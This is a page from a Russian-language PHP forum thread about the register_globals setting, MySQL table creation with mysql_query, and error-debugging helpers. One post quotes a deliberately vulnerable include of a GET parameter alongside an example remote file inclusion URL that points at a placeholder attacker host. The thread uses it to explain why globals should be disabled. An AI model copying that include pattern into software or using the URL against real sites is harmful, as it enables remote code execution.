Часовой пояс: UTC + 3 часа




Начать новую тему Новая тема / Ответить на тему Ответить  Сообщений: 1267 • Страница 7 из 64<  1 ... 4  5  6  7  8  9  10 ... 64  >
  Пред. тема | След. тема 
В случае проблем с отображением форума, отключите блокировщик рекламы
Автор Сообщение
 

Moduvator писал(а):
Если в коде выше переменная $root по ошибке

Угу.. по ошибке...
интересно а как он окажется не проинициализированным
ведь тогда будет пустое значение.

тоесть эта переменная должна или передаватся скрипту - или устонавливатся в нем.
если передоватся - то надо делать проверки на содержание

и ваще так никто не делает
когда передается параметр такой
проще передавать id
тоесть чтото типа
Global $id;
$root[1]="";
$root[2]="";
........
$root[n]="";
include $root[id]."/library.php";

короче невижу проблеммы...
и чтото я не вижу принипиальной разницы с

$root = $_GET['root'];
include $root."/library.php";

http://example.com/script.php?root=http://hackerhost


artefacts = array();
artefacts['rabbit'] = "white";

ну эт более показательный пример.
но тут уже просто есть правила пограмирования
создание массива(в сях это какраз выделение памяти и т.д.) и потом его наполнение

вывод
если не умеете програмить - тогда глобался надо закрывать.
на мой взгляд.



Партнер
 

Member
Статус: Не в сети
Регистрация: 02.08.2005
Откуда: Казань
Nec
Цитата:
Угу.. по ошибке...
интересно а как он окажется не проинициализированным
ведь тогда будет пустое значение.

Неверно. Если по каким-то причинам (а такое было возможным - уверяю вас) будет пропущена операция присваивания переменной значения, то в таблицах интерпретатора ее не будет вообще. И в таком случае возможна подмена ее с пом. глобальных. Как я уже сказал - в сложных сценариях, насчитывающие несколько файлов, включающих друг друга, уследить за глобальными переменными очень трудно.

Первый пример уязвимости - такая ошибка, как я уже сказал, неоднократно обнаруживалась и устранялась в этом самом форуме - phpBB.
Второй - тут же, в версии 2.0.8
Уже говорилось на пред. странице.
Цитата:
вывод - если не умеете програмить - тогда глобался надо закрывать.

Ну, идите тогда к разработчикам этого форума, и говорите, какие они глупые, совсем не умеют программировать.

Вообще говоря - PHP это вам не Си. Сишная практика программирования тут мало применима. За всем здесь уследить довольно трудно.

_________________
Feci quod potui, faciant meliora potentes.


 

Member
Статус: Не в сети
Регистрация: 28.03.2005
Откуда: Латвия, Рига
register_globals = off

1). Более безопастно, невозможно больше определить глобальную переменную просто так, так как они определяются теперь в специальных суперглобальных массивах $_POST и $_GET, а так же $_SERVER, $_SESSION, $_COOKIE
2). Так как на каждый вид переменных свой масив, не появляется что в сессии, POST, GET и.т.д. совпадут имена переменных :) Очевидный плюс.
3). Логика хранения переменных удобна и ясна. ненадо вспоминать что это за переменная - кукис. сессия или с post запроса, это видно наглядно.


 

Member
Статус: Не в сети
Регистрация: 18.11.2002
Откуда: не вернуться
Nec писал(а):
если не умеете програмить - тогда глобался надо закрывать

Не в опыте дело, не ошибается только тот кто ничего не делает

_________________
Летели гуси-лебеди, а им навстречу - воробьи-пингвины и соловьи-страусы...


 

Member
Статус: Не в сети
Регистрация: 03.01.2004
Откуда: Питер
Здравствуйте, это снова я :)
Помогите плз. с этим

_________________
Здесь так мало тех, с кем легко говорить,
Еще меньше тех, с кем не страшно молчать (c)


 

Member
Статус: Не в сети
Регистрация: 28.03.2005
Откуда: Латвия, Рига
Lord_of_Darkness писал(а):
Здравствуйте, это снова я :)
Помогите плз. с этим

Там писали про версию с IRC сервером и WEB, думаю вполне подойдёт. А вообще чат обычно требует демона запущенного, что само по себе требудет больше чем просто Apache + PHP + MySQL. Частенько это делают на Perl/TCL/C/C++. Так же очень трезвая мысль была по поводу Java аплета :) Это идиальный вариант на мой взгляд. Поищи поиском какие нить чаты, по форумам почитай. Я лично не ставил ниразу.


 

Member
Статус: Не в сети
Регистрация: 07.01.2004
Помогите пожалуйста.
Не могу понять, как с помощью PHP в базе данных (MySQL) создать табличку? Задумался тут, на досуге...
Строка типа - $crtable = mysql_query("create table users (id_user in(6) not null auto_increment, login text, primary key (id_user))type=myisam");" не проходит по известной причине. Функция mysql_query поддерживает только эти запросы - SELECT, SHOW, EXPLAIN, DESCRIBE...
Может в PHP функция есть для этого, которой я просто не знаю???
Или решения вообще нет и придётся каждую новую табличку вручную создавать??? Хотя, это абсурд...


 

Member
Статус: Не в сети
Регистрация: 18.11.2002
Откуда: не вернуться
Hight писал(а):
Функция mysql_query поддерживает только эти запросы - SELECT, SHOW, EXPLAIN, DESCRIBE...

Это над вами пошутили или вы сами головой ударились ?
Функция mysql_query поддерживает всё (если конечно никто в правах доступа к базе не копался)

_________________
Летели гуси-лебеди, а им навстречу - воробьи-пингвины и соловьи-страусы...


 

Member
Статус: Не в сети
Регистрация: 07.01.2004
virus писал(а):
Это над вами пошутили или вы сами головой ударились ?

Ой, точно точно, я сам ударился...

Может кто-нибудь тогда приведёт код с использованием функции mysql_query для создания таблицы в БД. А то у меня из консоли всё получается, а через mysql_query нет...


 

Member
Статус: Не в сети
Регистрация: 28.03.2005
Откуда: Латвия, Рига
Код:
$res = mysql_query('CREATE TABLE users ( id_user int(6) not null auto_increment, login text, primary key (id_user) ) TYPE=MyISAM');

Возможно у тебя с правами доступа в базе что-то не то....


 

Member
Статус: Не в сети
Регистрация: 07.01.2004
Разобрался я в чём дело было... Ошибка синтаксиса...


 

Member
Статус: Не в сети
Регистрация: 28.03.2005
Откуда: Латвия, Рига
Hight писал(а):
Разобрался я в чём дело было... Ошибка синтаксиса...

Ну это я тебе тоже поправил, просто не упомянул :))) И вообще, есть такая функция, mysql_error(); называется :)


 

Member
Статус: Не в сети
Регистрация: 02.08.2005
Откуда: Казань
Угу. При отладке полезно пользоваться конструкцией вида:
Код:
$r=mysql_query("...")
if(mysql_error()) die(mysql_error());

Сразу все встает на свои места, если что не так :)

_________________
Feci quod potui, faciant meliora potentes.


 

Member
Статус: Не в сети
Регистрация: 18.11.2002
Откуда: не вернуться
Кстати советик всем "мега-спецам" ;)
Если вы программируете не так давно то лучше предусмотреть DEBUG_MODE, т.к это предотвратит подобные "детские" ошибки

Делается это примерно так...
Код:
<?php
define('DEBUG_SQL', true); // конфигурация режима true/false (вкл/выкл)

// далее ваш код
...
...
$link = mysql_query("..."); // далее после каждого запроса
if(DEBUG_SQL && mysql_error()) die(mysql_error());

// и далее опять ваш код
...
...
?>

_________________
Летели гуси-лебеди, а им навстречу - воробьи-пингвины и соловьи-страусы...


 

Advanced member
Статус: Не в сети
Регистрация: 13.11.2002
Откуда: msk.ru
Вставлять отладочный код после каждого запроса тож не есть гуд... Если в файле под 1к строк - намучаешься...
Я себе класс небольшой написал, а в нем такое:
Код:
   // Performing query
   function sql_query($query)
   {
      $this->queries_nm++;

      $query_result = mysql_query($query, $this->link);

      if(!$query_result && DB_DEBUG)
      {
         echo 'Invalid query: ' . $query . '.<br />Error message: ' . mysql_error($this->link) . '.<br />Error code: ' . mysql_errno($this->link) . '.';
         die();
      }
      else
      {
         return $query_result;
      }
   }

_________________
Поддержка phpBB на русском языке - теперь официально!


 

Member
Статус: Не в сети
Регистрация: 18.11.2002
Откуда: не вернуться
Юрий Для тех кто за РНР сел недавно код в 50 строк (с парой запросов к БД) уже достижение...
(а более опытные и сами знают как им дебугить)

_________________
Летели гуси-лебеди, а им навстречу - воробьи-пингвины и соловьи-страусы...


 

Member
Статус: Не в сети
Регистрация: 28.03.2005
Откуда: Латвия, Рига
virus писал(а):
Юрий Для тех кто за РНР сел недавно код в 50 строк (с парой запросов к БД) уже достижение...
(а более опытные и сами знают как им дебугить)

прально :)
А вообще лично я себе написал целый класс для работы с базой данных и им пользуюсь вовсю, и дебагинг встроенный по принципу true/false, и прочие удобства :)


 

Advanced member
Статус: Не в сети
Регистрация: 13.11.2002
Откуда: msk.ru
_Psih
Это не единственная процедура в моем классе :)
_Psih писал(а):
дебагинг встроенный по принципу true/false

Просвяти что это такое...

_________________
Поддержка phpBB на русском языке - теперь официально!


 

Member
Статус: Не в сети
Регистрация: 28.03.2005
Откуда: Латвия, Рига
Код:
if (true === $this->debug)
{
    echo mysql_error();
}

примерно так :)


 

Advanced member
Статус: Не в сети
Регистрация: 13.11.2002
Откуда: msk.ru
Ясно...
Кстати народ, давайте перейдем к более продвинутым вопросам. Кто как решает проблемы с обработкой кавычек прежде чем положить данные в БД? То что надо контролировать magic_quotes и проч. можете не объяснять. Я просто тут попал в ситуацию... слеширую вход исходя из настроекк ... у меня ошибки в форуме только средствами php обрабатываются, соотв. если у меня в форме была ошибка данные уже в прослешированном виде уходят опять в форму. Сейчас-то мне проще шаблонизатор поправить конечно :) Хоть и криво, но смогу показать, а позже переделаю.

_________________
Поддержка phpBB на русском языке - теперь официально!


Показать сообщения за:  Поле сортировки  
Начать новую тему Новая тема / Ответить на тему Ответить  Сообщений: 1267 • Страница 7 из 64<  1 ... 4  5  6  7  8  9  10 ... 64  >
-

Часовой пояс: UTC + 3 часа


Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 6


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете добавлять вложения

Перейти:  
Создано на основе phpBB® Forum Software © phpBB Group
Русская поддержка phpBB | Kolobok smiles © Aiwan